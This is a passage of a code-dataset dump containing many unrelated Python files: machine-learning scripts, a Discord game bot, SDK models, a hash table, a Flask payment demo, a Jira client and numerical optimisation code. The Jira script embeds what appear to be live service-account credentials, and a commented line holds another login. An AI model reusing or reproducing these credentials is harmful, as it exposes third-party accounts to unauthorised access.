print('Done\\n')\n\n # predictions with best threshold on the test set\n test_preds = clf.predict_proba(test_data)[:, 1]\n\n # Write submission to a file\n rank_orders = np.argsort(test_preds) + 1\n # print('Test preds scores sorted: ', test_preds[rank_orders-1])\n # print('Test predictions sorted:', round_predictions(test_preds[rank_orders-1], threshold))\n df_submission = pd.DataFrame({'EventId': df_test['EventId'],\n 'RankOrder': rank_orders,\n 'Class': ['s' if y == 1 else 'b'\n for y in round_predictions(test_preds, threshold)]})\n df_submission.to_csv('submissions/randomforest_submission.csv', index=False)\n\n\n # solution_path = 'data/solution_from_cern.csv'\n # submission_path = 'submissions/randomforest_submission.csv'\n\n # from HiggsBosonCompetition_AMSMetric_rev1 import AMS_metric\n # AMS_metric(solution_path, submission_path)\n\n # From the AMS_metric() in HiggsBosonCompetition_AMSMetric_rev1.py:\n\n # signal = 400.6366116965329, background = 6524.502478690059\n # AMS = 4.906756338440252\n # => The scores are wrong, they are way too high!!\n\n # The submission on Kaggle showed only the score in private leaderboard, which is\n # the same as ours. Therefore we haven't made any errors in our evaluations.\n\n # RANK AGAINST THE PARTICIPANTS ON KAGGLE (exluding the late submissions we can't see):\n\n # On private leaderboard: 739 / 1785\n # On public leaderboard: 842 / 1785\n","sub_path":"randomforest_submission.py","file_name":"randomforest_submission.py","file_ext":"py","file_size_in_byte":3523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"425561787","text":"__authors__ = 'aejb'\nimport json\nimport math\nimport numpy\nimport typing\n\nimport discord\nimport aiohttp\nimport asyncio\nfrom discord.ext import commands, tasks\nfrom datetime import datetime, timedelta\nfrom random import randint\nimport pickledb\n\n\nclass apple(commands.Cog):\n\n def __init__(self, bot):\n self.bot = bot\n\n def any_apples(self, id):\n db = pickledb.load('appledb', False)\n existing_apples = db.get(str(id))\n db.dump()\n if existing_apples>=1:\n return True\n else:\n return False\n\n\n @commands.command()\n async def sniff(self, ctx):\n \"\"\"------ sniffs for any apples that might be lying around\"\"\"\n sniff_roll = randint(0,4)\n if 0<=sniff_roll<=2 or self.any_apples('ground')==False:\n await ctx.send(\"you didn't find any apples :(\")\n else:\n ground_apples = self.get_apples('ground')\n await ctx.send(\"you found {apples_found} apples!\".format(apples_found=ground_apples))\n self.give_apples(ctx.author.id, ground_apples)\n self.give_apples('ground', int(-1*ground_apples))\n\n @commands.command()\n async def throw(self, ctx, thrown_at: discord.Member):\n \"\"\"------ throw an apple at a friend (with a mention!)\"\"\"\n throw_roll = randint(0,3)\n if self.any_apples(ctx.author.id)==False:\n await ctx.send(\"you haven't got any apples to throw :(\")\n return\n self.give_apples(ctx.author.id, -1)\n if throw_roll == 0:\n await ctx.send(\"you missed, sorry :(\")\n self.give_apples('ground', 1)\n elif throw_roll == 1:\n await ctx.send(\"{thrown_at_mention} caught the apple!\".format(thrown_at_mention=thrown_at.mention))\n self.give_apples(thrown_at.id, 1)\n else:\n await ctx.send(\"you hit {thrown_at_mention} with an apple.... which disappeared\".format(thrown_at_mention=thrown_at.mention))\n\n @commands.command()\n async def count(self, ctx):\n \"\"\"------ tells you how many apples you have\"\"\"\n db = pickledb.load('appledb', False)\n apple_count = db.get(str(ctx.author.id))\n if apple_count == False:\n await ctx.send(\"you don't have any apples :(\")\n else:\n await ctx.send(\"you've got {count} apples!\".format(count=str(apple_count)))\n db.dump()\n\n @commands.command()\n async def pls(self, ctx):\n \"\"\"------ looks for apples\"\"\"\n roll = randint(1, 101)\n if roll == 1 or roll == 2:\n await ctx.send(\"woah! you found an extra shiny apple! that's worth four apples!✨🍎✨\")\n self.give_apples(ctx.author.id, 4)\n elif roll == 3:\n await ctx.send(\"oh my god you found a GOLD APPLE! that's worth SEVEN apples! 🌟🌟🍎🌟🌟\")\n self.give_apples(ctx.author.id, 7)\n elif 4 <= roll <= 14:\n await ctx.send(\"hey nice apple! that's gotta be worth three apples! 💫🍎💫\")\n self.give_apples(ctx.author.id, 3)\n elif roll == 15 or roll == 16:\n await ctx.send(\"oh dear. you found a rotten apple :( you let another apple go bad! 🤢🍎🤢\")\n self.give_apples(ctx.author.id, -1)\n elif 17 <= roll <= 25:\n await ctx.send(\"oh neat! two apples! 🍎🍎\")\n self.give_apples(ctx.author.id, 2)\n elif 26 <= roll <= 30:\n await ctx.send(\"you found a green apple. it is the enemy. remove it at once. 🚫🍏🚫\")\n elif 31<=roll<=80:\n await ctx.send(\"here u go: 🍎\")\n self.give_apples(ctx.author.id, 1)\n else:\n await ctx.send(\"no apples, sorry :(\")\n\n def give_apples(self, id, new_apples):\n db = pickledb.load('appledb', False)\n existing_apples = db.get(str(id))\n total_apples = existing_apples+new_apples\n db.set(str(id), total_apples)\n db.dump()\n\n def get_apples(self, id):\n db = pickledb.load('appledb', False)\n existing_apples = db.get(str(id))\n db.dump()\n return existing_apples\n\n\ndef setup(bot):\n bot.add_cog(apple(bot))\n","sub_path":"apple.py","file_name":"apple.py","file_ext":"py","file_size_in_byte":4143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"116051330","text":"import math, random\n\n\nclass Circle:\n def calcCircumference(self):\n # self.radius, self is being replaced by instance name\n return math.pi * 2 * self.radius\n\n\ncircles = []\n\nfor i in range(10):\n c = Circle()\n c.radius = random.uniform(1.1, 9.5)\n # The parameter doesn't have to be given. Because\n # c.radius is already created. \n c.Circumference = c.calcCircumference() \n circles.append(c)\n\nfor c in circles:\n print('Radius:', c.radius,\n 'Circumference:', c.Circumference)\n","sub_path":"Area52/OO/OopCircleRef.py","file_name":"OopCircleRef.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"651626980","text":"# coding=utf8\n\n# Copyright 2018 JDCLOUD.COM\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# NOTE: This class is auto generated by the jdcloud code generator program.\n\n\nclass ProductProperty(object):\n\n def __init__(self, name, dataType, description=None, unit=None, unitName=None, min=None, max=None, step=None, length=None, enumInfo=None):\n \"\"\"\n :param name: 名称, 1~30个字符,仅支持英文字母、数字、下划线“_”及中划线“-”,必须英文字母及数字开头结尾\n :param description: (Optional) 描述, 0-50个字符\n :param dataType: 数据类型,string:字符串,bool:布尔,float:单精度浮点数,double:双精度浮点数,int32:整型,enum:枚举\n :param unit: (Optional) 单位, 0-10个字符\n :param unitName: (Optional) 单位名称, 0-10个字符\n :param min: (Optional) 参数最小值(int32, float, double类型时,必填)\n整型取值范围:-2的31次方 ~2的31次方-1\n单精度浮点取值范围:-2的128次方+1 ~2的128次方-1,最多7位小数\n双精度浮点取值范围:-2的1023次方+1 ~2的1023次方-1,最多14位小数\n\n :param max: (Optional) 参数最大值(int32, float, double类型时,必填)\n最大值必须大于最小值\n整型取值范围:-2的31次方 ~2的31次方-1\n单精度浮点取值范围:-2的128次方+1 ~2的128次方-1,最多7位小数\n双精度浮点取值范围:-2的1023次方+1 ~2的1023次方-1,最多14位小数\n\n :param step: (Optional) 参数步长(int32, float, double类型时,必填)\n整型取值范围:0 ~2的31次方-1\n单精度浮点取值范围:0 ~2的128次方-1,最多7位小数\n双精度浮点取值范围:0~2的1023次方-1,最多14位小数\n\n :param length: (Optional) 参数长度(string类型特有时,必填)\n取值范围:1-256之间的整数)\n\n :param enumInfo: (Optional) 枚举定义信息(enum、bool类型时,必填)\n布尔值名称:不可为空,支持汉字、英文字母、数字。长度为1-10个字符\n枚举值:为字符型,0~99。至少包括两个枚举值。输入“0”时,仅支持1位。其他数字不支持以0开头\n枚举值名称:不可为空,支持汉字、英文字母、数字。长度为1-10个字符\n枚举类型格式如:{10:\"on\",10:\"off\"}\n布尔类型格式如:{\"True\":\"12\",\"False\":\"22\"}\n \"\"\"\n\n self.name = name\n self.description = description\n self.dataType = dataType\n self.unit = unit\n self.unitName = unitName\n self.min = min\n self.max = max\n self.step = step\n self.length = length\n self.enumInfo = enumInfo\n","sub_path":"jdcloud_sdk/services/iotcore/models/ProductProperty.py","file_name":"ProductProperty.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"454561719","text":"class Hash:\r\n def __init__(self, max_size, max_col, threshold):\r\n self.max_size = max_size\r\n self.max_col = max_col\r\n self.threshold = threshold\r\n self.table = [None] * max_size\r\n self.current_size = 0\r\n self.copy_table = []\r\n\r\n def expand(self, x=None):\r\n self.table = []\r\n self.current_size = 0\r\n prime = findPrime(self.max_size * 2)\r\n addition_table = [None] * (prime)\r\n self.table = addition_table\r\n self.max_size = len(self.table)\r\n for item in self.copy_table:\r\n self.add(item)\r\n if x:\r\n self.add(x)\r\n\r\n def __str__(self):\r\n ss = \"\"\r\n for i in range(1, self.max_size+1):\r\n ss += f\"#{i}\t{self.table[i-1]}\\n\"\r\n return ss[:-1]\r\n\r\n def checkThreshold(self):\r\n percent = (self.current_size / self.max_size) * 100\r\n if percent >= self.threshold:\r\n print(\"****** Data over threshold - Rehash !!! ******\")\r\n self.expand()\r\n\r\n def add(self, x):\r\n t = self.table\r\n indx = x % self.max_size\r\n if t[indx] == None:\r\n t[indx] = x\r\n self.current_size += 1\r\n self.checkThreshold()\r\n return\r\n i = 0\r\n cl = 1\r\n while (indx + pow(i, 2)) % self.max_size <= self.max_size:\r\n hx = (indx + pow(i, 2)) % self.max_size\r\n if t[hx] == None:\r\n t[hx] = x\r\n self.current_size += 1\r\n self.checkThreshold()\r\n return\r\n if cl >= self.max_col:\r\n print(f\"collision number {cl} at {hx}\")\r\n print(\"****** Max collision - Rehash !!! ******\")\r\n self.expand()\r\n return\r\n print(f\"collision number {cl} at {hx}\")\r\n i += 1\r\n cl += 1\r\n\r\n\r\ndef findPrime(num, i=2):\r\n if num > 1:\r\n if num % i == 0:\r\n return findPrime(num+1, i+1)\r\n else:\r\n return num\r\n\r\n\r\nprint(\" ***** Rehashing *****\")\r\ninp = input(\"Enter Input : \").split(\"/\")\r\nmax_size, max_col, threshold = list(map(int, inp[0].split()))\r\nitems = list(map(int, inp[1].split()))\r\nprint(\"Initial Table :\")\r\nH = Hash(max_size, max_col, threshold)\r\nprint(H)\r\nprint(\"----------------------------------------\")\r\nfor item in items:\r\n H.copy_table.append(item)\r\n print(\"Add :\", item)\r\n H.add(item)\r\n print(H)\r\n print(\"----------------------------------------\")\r\n","sub_path":"10_Searching/04.py","file_name":"04.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"153297093","text":"# coding=utf-8\nimport json\nfrom config import config\n\n\nclass NamedEntity:\n\n property_domain = config.get(\"URI_BASE\", \"property\")\n subject_domain = config.get(\"URI_BASE\", \"entity_subject\")\n\n def __init__(self, name, mtype='', start=-1, end=-1, uid='', ner_score=1):\n self.name = name\n self.type = mtype\n self.start = start\n self.end = end\n self.uid = uid\n self.context = None\n self.ner_score = ner_score #default为1, 每个NER需要在建立named entity时修改\n self.linking_score = 0 #default为0, 每个named entity需要在linking时修改\n\n def __str__(self):\n return \"text: \" + self.name + \" type: \" + self.type + \" start: \" + str(self.start) + \" end: \" + str(self.end)\\\n + \" uid: \" + self.uid + \" ner score: \" + str(self.ner_score) + \" linking score: \" + str(self.linking_score)\n\n def __repr__(self):\n return json.dumps(self.jsonify(), ensure_ascii=False)\n\n def __lt__(self, other):\n if self.start == other.start:\n if self.end == other.end:\n return self.type < other.type\n return self.end > other.end\n return self.start < other.start\n\n def __hash__(self):\n return hash(self.__str__())\n\n def __eq__(self, other):\n return self.__str__() == other.__str__()\n\n\n def jsonify(self):\n data = {}\n data[\"name\"] = self.name\n data[\"type\"] = self.type\n data[\"start\"] = self.start\n data[\"end\"] = self.end\n data[\"uid\"] = self.uid\n return data\n\n def ntriples(self):\n ntriples = [\n \"<\" + self.subject_domain + self.uid + \"> \" + \"<\" + self.property_domain + \"label> \\\"\" + self.name + \"\\\". \",\n ]\n\n if self.type != \"\":\n ntriples.append(\"<\" + self.subject_domain + self.uid + \"> \" + \"<\" + self.property_domain + \"type> <\" + self.subject_domain + self.type + \">. \")\n\n return ntriples\n\n def entity_format(self):\n data = {}\n data[\"name\"] = self.name\n data[\"type\"] = self.type\n data[\"uid\"] = self.uid\n return data\n\n\n","sub_path":"NER/named_entity.py","file_name":"named_entity.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"164728155","text":"from braintreeFlask import app\nfrom flask import request\nfrom jinja2 import Environment, PackageLoader\n\nimport braintree\n\nbraintree.Configuration.configure(braintree.Environment.Sandbox,\n merchant_id=MERCHANTID,\n public_key=PUBLICKEY,\n private_key=PRIVATEKEY\n )\n\nenv = Environment(loader=PackageLoader('braintreeFlask', 'templates'))\n\ntemplate = env.get_template('index.html')\n\n@app.route('/', methods=[\"GET\"])\ndef index():\n return template.render(clientToken=braintree.ClientToken.generate())\n\n@app.route(\"/checkout\", methods=[\"POST\"])\ndef create_purchase():\n nonce = request.form[\"payment_method_nonce\"]\n\n result = braintree.Transaction.sale({\n \"amount\" : \"10.00\",\n \"payment_method_nonce\" : nonce\n })\n return \"Success!\"\n\n\n","sub_path":"braintreeFlask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"637731618","text":"\nfrom django.core.exceptions import ValidationError\nfrom django.db.models.fields import BooleanField\n\n\nclass TrueUniqueBooleanField(BooleanField):\n\n def __init__(self, unique_for=None, *args, **kwargs):\n self.unique_for = unique_for\n super(TrueUniqueBooleanField, self).__init__(*args, **kwargs)\n\n def pre_save(self, model_instance, add):\n value = super(TrueUniqueBooleanField, self).pre_save(model_instance, add)\n\n objects = model_instance.__class__.objects\n\n if self.unique_for:\n objects = objects.filter(**{self.unique_for: getattr(model_instance, self.unique_for)})\n\n if value and objects.exclude(id=model_instance.id).filter(**{self.attname: True}):\n msg = 'Only one instance of {} can have its field {} set to True'.format(model_instance.__class__, self.attname)\n if self.unique_for:\n msg += ' for each different {}'.format(self.unique_for)\n raise ValidationError(msg)\n\n return value\n","sub_path":"nac/allianceutils/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"127824659","text":"from constants import alphabet\n\n\ndef encrypt_cesar(tekst, k0, k1):\n out = ''\n for i in range(len(tekst)):\n if tekst[i] in alphabet:\n out += alphabet[((alphabet.index(tekst[i]) * k1) + k0) % len(alphabet)]\n else:\n out += ' '\n return out\n","sub_path":"cesar/encesar.py","file_name":"encesar.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"462645512","text":"HOR_RES = lv.disp_get_hor_res(lv.disp_get_default())\n\ndef kb_event_cb(event_kb, event):\n # Just call the regular event handler\n event_kb.def_event_cb(event)\n\ndef ta_event_cb(ta, event):\n if event == lv.EVENT.INSERT:\n # get inserted value\n ptr = lv.C_Pointer()\n ptr.ptr_val = lv.event_get_data()\n if ptr.str_val == \"\\n\":\n print(\"Ready\")\n elif event == lv.EVENT.CLICKED:\n # Focus on the clicked text area\n kb.set_ta(ta)\n\n# Create the password box\npwd_ta = lv.ta(lv.scr_act())\npwd_ta.set_text(\"\");\npwd_ta.set_pwd_mode(True)\npwd_ta.set_one_line(True)\npwd_ta.set_width(HOR_RES // 2 - 20)\npwd_ta.set_pos(5, 20)\npwd_ta.set_event_cb(ta_event_cb)\n\n# Create a label and position it above the text box\npwd_label = lv.label(lv.scr_act())\npwd_label.set_text(\"Password:\")\npwd_label.align(pwd_ta, lv.ALIGN.OUT_TOP_LEFT, 0, 0)\n\n# Create the one-line mode text area\noneline_ta = lv.ta(lv.scr_act(), pwd_ta)\noneline_ta.set_pwd_mode(False)\noneline_ta.set_cursor_type(lv.CURSOR.LINE | lv.CURSOR.HIDDEN)\noneline_ta.align(None, lv.ALIGN.IN_TOP_RIGHT, -5, 20)\noneline_ta.set_event_cb(ta_event_cb)\n\n# Create a label and position it above the text box\noneline_label = lv.label(lv.scr_act())\noneline_label.set_text(\"Text:\")\noneline_label.align(oneline_ta, lv.ALIGN.OUT_TOP_LEFT, 0, 0)\n\n# Create a keyboard and make it fill the width of the above text areas\nkb = lv.kb(lv.scr_act())\nkb.set_pos(5, 90)\nkb.set_event_cb(kb_event_cb) # Setting a custom event handler stops the keyboard from closing automatically\nkb.set_size(HOR_RES - 10, 140)\n\nkb.set_ta(pwd_ta) # Focus it on one of the text areas to start\nkb.set_cursor_manage(True) # Automatically show/hide cursors on text areas","sub_path":"src/lv_examples/src/lv_ex_widgets/lv_ex_textarea/lv_ex_textarea_2.py","file_name":"lv_ex_textarea_2.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"259576850","text":"#!/usr/bin/python\n#\n#\n# https://bugs.cudaops.com/rest/api/2/project\n#\n#\nimport sys\nimport os\nfrom jira.client import JIRA\nfrom optparse import OptionParser\n\nclass JiraOps:\n def __init__(self, ):\n self.fmt = '[{0:<12}] {1:<1}'\n \n user = 'SVC-ENG-NGBuildadm'\n pwd = '!M7UfbJRhugH'\n host = 'https://bugs.cudaops.com'\n \n self.jira = JIRA(options={'server':host},basic_auth=(user,pwd))\n \n def collectArgs(self):\n parser = OptionParser(usage=\"\"\"\n usage: %prog ...\n optional: ...\"\"\")\n parser.add_option(\"-a\", \"--assignee\",\n dest=\"assignee\",\n default=None,\n help=\"Assignee, default=None\",)\n parser.add_option(\"-p\", \"--project\",\n dest=\"project\",\n default=None,\n help=\"Project, default=None\",)\n parser.add_option(\"-s\", \"--status\",\n dest=\"status\",\n default=None,\n help=\"Status, default=None\",)\n (self.opts, args) = parser.parse_args()\n \n # Type: Task\n # Status:OPEN\n # Priority: Unknown\n # Resolution: Unresolved\n # Affects Version/s: CMTOOLS-7.0_bucket\n # Fix Version/s: None Component/s: None\n # Labels:None \n # Cross-Product: No\n # \n # assignee \n # comment \n # components \n # created \n # description\n # environment\n # fixVersions\n # issuetype\n # progress\n # project\n # reporter\n # resolution\n # resolutiondate\n # status\n # summary\n\n def verifyArgs(self):\n for opt, value in self.opts.__dict__.items():\n setattr(self, opt, value)\n \n\n# \n# #\n# # If logged in as self\n# #\n#print currentUser()\n#for mine in jira.search_issues('project=BNNGF and assignee = currentUser()'):\n# print mine\n# \n# \n# projects = jira.projects()\n# for p in projects: print p\n# \n# project = jira.project('BNNGF')\n# print project.name, project.lead\n# \n# for issue in jira.search_issues('project=BNNGF'): print issue\n# \n#issue = jira.issue('BNNGF-27439')\n#print issue, issue.fields.summary\n# \n# print \"The rest is here %s\" % \"http://jira-python.readthedocs.org/en/latest/\"\n# \n\n#NO_PROXY = {\"no\": \"pass\"} # or override it with a different\n# # proxy than the standard one \n# # or simply set it to {}\n#options = {'server': 'https://bugs.cudaops.com/','proxies': NO_PROXY,'trust_env': False}\n#jira = JIRA(options, basic_auth=('ng_buildadm', 'Mnp4CMu!'))\n\ndef main():\n jo = JiraOps()\n jo.collectArgs()\n jo.verifyArgs()\n \nif __name__ == '__main__':\n main()","sub_path":"Jira/jira_ex.py","file_name":"jira_ex.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"496867571","text":"import json\nimport base64\n\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\nfrom Crypto.Util.Padding import unpad\nfrom Crypto.Random import get_random_bytes\n\n\n\"\"\"Packet encryption and validation manager\"\"\"\nclass Packet:\n \"\"\"Packages the packet and returns its data as bytes\n\n Attributes\n data: the packet data as bytes\n encryption_key: the key to encrypt the data with\n \"\"\"\n @staticmethod\n def pack(data, encryption_key, session_id, packet_id):\n try:\n iv = get_random_bytes(AES.block_size)\n cipher = AES.new(encryption_key, AES.MODE_CBC, iv)\n packet = {\n \"iv\": base64.b64encode(iv).decode(\"utf-8\"),\n \"data\": base64.b64encode(cipher.encrypt(pad(data, AES.block_size))).decode(\"utf-8\"),\n \"packet\": packet_id,\n \"session\": session_id\n }\n\n return json.dumps(packet).encode()\n except Exception as err:\n # Error encrypting packet\n print(\"Encryption error: \" + err.args[0])\n return None\n\n \"\"\"Unpacks a packet and returns its data as bytes\n \n Attributes\n data: The unencrypted packet data\n decryption_key: The key to decrypt the data with\"\"\"\n @staticmethod\n def unpack(data, decryption_key, session_id, packet_id):\n try:\n # Reconstruct the packet\n packet = json.loads(data.decode(\"utf-8\"))\n\n # Verify the message\n if packet[\"packet\"] != packet_id or packet[\"session\"] != session_id:\n return None\n\n # Decrypt the message\n iv = base64.b64decode(packet[\"iv\"])\n data = base64.b64decode(packet[\"data\"])\n cipher = AES.new(decryption_key, AES.MODE_CBC, iv)\n data = unpad(cipher.decrypt(data), AES.block_size)\n\n return data\n except err as Exception:\n # Error unpacking packet -- return nothing\n return None\n","sub_path":"mud/Packet.py","file_name":"Packet.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"484948836","text":"import datetime as dt\nimport numpy as np\nimport yfinance as yf\n\nticker = 'AAPL'\nohlcv = yf.download(ticker, dt.date.today() - dt.timedelta(1825), dt.datetime.today())\n\n\ndef rsi(df_original, n):\n \"\"\"Function to calculate Relative Strength Index.\"\"\"\n df = df_original.copy()\n # Find difference between today's and yesterday's close prices\n df['delta'] = df['Adj Close'] - df['Adj Close'].shift(1)\n # Update gain and loss columns daily\n df['gain'] = np.where(df['delta'] >= 0, df['delta'], 0)\n df['loss'] = np.where(df['delta'] < 0, abs(df['delta']), 0)\n avg_gain = []\n avg_loss = []\n gain = df['gain'].tolist()\n loss = df['loss'].tolist()\n\n # For each day of time period specified, populate avg_gain/loss lists\n for i in range(len(df)):\n if i < n:\n avg_gain.append(np.NaN)\n avg_loss.append(np.NaN)\n elif i == n:\n avg_gain.append(df['gain'].rolling(n).mean().tolist()[n])\n avg_loss.append(df['loss'].rolling(n).mean().tolist()[n])\n elif i > n:\n avg_gain.append(((n - 1) * avg_gain[i - 1] + gain[i]) / n)\n avg_loss.append(((n - 1) * avg_loss[i - 1] + loss[i]) / n)\n\n df['avg_gain'] = np.array(avg_gain)\n df['avg_loss'] = np.array(avg_loss)\n # Calculate relative strength\n df['RS'] = df['avg_gain'] / df['avg_loss']\n # Calculate relative strength index\n df['RSI'] = 100 - (100 / (1 + df['RS']))\n return df['RSI']\n\n\n# # Calculating RSI without using loop\n# def rsi(df_original, n):\n# \"\"\"Function to calculate RSI.\"\"\"\n# delta = df['Adj Close'].diff().dropna()\n# u = delta * 0\n# d = u.copy()\n# u[delta > 0] = delta[delta > 0]\n# d[delta < 0] = -delta[delta < 0]\n# # First value is average of gains\n# u[u.index[n - 1]] = np.mean(u[:n])\n# u = u.drop(u.index[:(n-1)])\n# # First value is average of losses\n# d[d.index[n - 1]] = np.mean(d[:n])\n# d = d.drop(d.index[:(n-1)])\n# rs = u.ewm(com=n, min_periods=n).mean() / d.ewm(com=n, min_periods=n).mean()\n# return 100 - (100 / (1 + rs))\n\nrsi(ohlcv, 14)\n","sub_path":"technical_indicators/rsi.py","file_name":"rsi.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"267434648","text":"'''Faça um programa que leia um número e mostre qual seu fatorial.'''\r\n\r\nnum = int(input('Informe um número: '))\r\nc = num\r\nfatorial = 1\r\nwhile c > 0:\r\n print(' {} '.format(c), end='')\r\n print(' X ' if c > 1 else ' = ', end='')\r\n fatorial *= c\r\n c -= 1\r\nprint('\\n{}! é {}'.format(num, fatorial))\r\n","sub_path":"Desafio60.py","file_name":"Desafio60.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"182074033","text":"from django.db import models\n\nfrom abacus_edu.behaviors import Timestampable\n\n\nclass Client(Timestampable, models.Model):\n application = models.ForeignKey(\n 'Application',\n on_delete=models.CASCADE,\n verbose_name=\"어플리케이션\",\n )\n token = models.TextField(\n verbose_name=\"토큰값\",\n )\n like_video_set = models.ManyToManyField(\n 'Video',\n related_name=\"liked_by_set\",\n )\n\n def __str__(self):\n return self.token[:10]\n\n class Meta:\n verbose_name = \"Client\"\n verbose_name_plural = \"Client\"\n","sub_path":"abacus_edu/abacus_edu/models/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"15507403","text":"import random\nimport configparser\nimport sys\n\n#load in parameters from cfg file\ndef loadConfig():\n\tif len(sys.argv) == 2:\n\t\tcfgFile = sys.argv[1]\n\telse:\n\t\tcfgFile = 'default.cfg'\n\n\tconfig = configparser.ConfigParser()\n\tconfig.read(cfgFile)\n\tsolutionFilePath = config['GPAC']['SolutionFilePath']\n\tlogFilePath = config['GPAC']['LogFilePath']\n\theight = int(config['GPAC']['Height'])\n\twidth = int(config['GPAC']['Width'])\n\tpillDensity = int(config['GPAC']['PillDensity'])\n\twallDensity = int(config['GPAC']['WallDensity'])\n\tfruitProbability = int(config['GPAC']['FruitSpawnProbability'])\n\tfruitScore = int(config['GPAC']['FruitScore'])\n\ttimeMultiplier = int(config['GPAC']['TimeMultiplier'])\n\trandomSeed = config['GPAC']['RandomSeed']\n\truns = int(config['GPAC']['Runs'])\n\tevals = int(config['GPAC']['FitnessEvals'])\n\treturn solutionFilePath, logFilePath, height, width, pillDensity, wallDensity, fruitProbability, fruitScore, timeMultiplier, randomSeed, runs, evals\n\n#prints the pacman board\ndef print_grid(grid):\n for row in grid:\n print(row)","sub_path":"ea/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"157264029","text":"import numpy as np\r\nfrom scipy.linalg import block_diag\r\n\r\n\r\ndef jacobian(residualsfun, p, epsilon):\r\n # J = np.zeros([14,3])\r\n n = residualsfun(p).shape[0]\r\n m = p.shape[0]\r\n J = np.zeros((n,m))\r\n for i in range(m):\r\n e = np.zeros(m)\r\n e[i] = epsilon\r\n J[:,i] = (residualsfun(p+e)-residualsfun(p-e)) / (2*epsilon)\r\n\r\n return J\r\n\r\ndef jacobian2(residualsfun, p, epsilon, l, m, n):\r\n \r\n J = np.zeros((residualsfun(p).shape[0],m))\r\n for i in range(m):\r\n e = np.zeros(p.shape[0])\r\n e[i] = epsilon\r\n J[:,i] = (residualsfun(p+e)-residualsfun(p-e)) / (2*epsilon)\r\n\r\n return J\r\n\r\ndef jacobian3(residualsfun, p, epsilon, l, m, n):\r\n \r\n J = np.zeros((l,2*n,3))\r\n for image in range(l):\r\n Ji = np.zeros((2*n, 3))\r\n\r\n for j in range(3):\r\n p2 = np.hstack([p[:m], p[(m + 3*image):(m + 3*(image+1))]])\r\n e = np.zeros(m+3)\r\n e[m+j] = epsilon\r\n Ji[:,j] = (residualsfun(p2+e, image) - residualsfun(p2-e, image)) / (2*epsilon)\r\n J[image] = Ji\r\n\r\n return J\r\n\r\n\r\n# This is just a suggestion for how you might\r\n# structure your implementation. Feel free to\r\n# make changes e.g. taking in other arguments.\r\ndef gauss_newton(residualsfun, p0, printbool, step_size=0.25, num_iterations=100, finite_difference_epsilon=1e-5):\r\n # See the comment in part1.py regarding the 'residualsfun' argument.\r\n e = finite_difference_epsilon\r\n p = p0.copy()\r\n\r\n for iteration in range(num_iterations):\r\n # 1: Compute the Jacobian matrix J, using e.g.\r\n # finite differences with the given epsilon.\r\n\r\n J = np.zeros([14,3])\r\n e1 = np.array([1,0,0])*e\r\n e2 = np.array([0,1,0])*e\r\n e3 = np.array([0,0,1])*e\r\n\r\n J[:,0] = (residualsfun(p+e1)-residualsfun(p-e1)) / (2*e)\r\n J[:,1] = (residualsfun(p+e2)-residualsfun(p-e2)) / (2*e)\r\n J[:,2] = (residualsfun(p+e3)-residualsfun(p-e3)) / (2*e)\r\n\r\n # 2: Form the normal equation terms JTJ and JTr.\r\n \r\n if printbool:\r\n print(\"J= \\n\",J)\r\n print(f\"JTJ = \\n{J.T @ J}\")\r\n \r\n\r\n JTJ = J.T @ J\r\n JTr = J.T @ residualsfun(p)\r\n\r\n delta = -np.linalg.inv(JTJ) @ JTr\r\n\r\n if printbool:\r\n print(f\"delta = {delta}\")\r\n\r\n # 3: Solve for the step delta and update p as\r\n p += step_size*delta\r\n\r\n return p\r\n\r\n\r\n# Implement Levenberg-Marquardt here. Feel free to\r\n# modify the function to take additional arguments,\r\n# e.g. the termination condition tolerance.\r\ndef levenberg_marquardt(residualsfun, p0, printbool=False, stop_precision = 1e-3, num_iterations=100, finite_difference_epsilon=1e-5):\r\n \r\n p = p0.copy()\r\n e = finite_difference_epsilon\r\n\r\n J = jacobian(residualsfun,p,e)\r\n dim = J.shape[1]\r\n mu = 